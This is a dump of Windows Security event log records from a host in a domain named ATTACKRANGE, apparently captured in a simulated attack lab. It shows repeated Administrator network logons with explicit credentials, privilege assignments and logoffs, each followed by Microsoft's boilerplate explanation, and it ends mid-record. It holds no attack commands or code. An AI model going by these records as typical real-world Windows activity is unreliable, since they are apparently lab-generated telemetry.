This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245392
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245391
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245390
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98AFF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98AFF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245388
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98AFF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245387
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245386
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245385
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98983

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245384
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98983

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245383
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98983
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245382
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245381
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245380
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x986A2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245379
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x986A2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245378
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245377
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245376
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245375
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x97EF9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245374
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x97EF9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245373
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245372
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245371
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8B397

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245370
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x93DCE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245369
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9756B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245368
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9756B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245367
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245366
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245365
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x972BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245364
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x972BA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245363
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x972BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245362
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
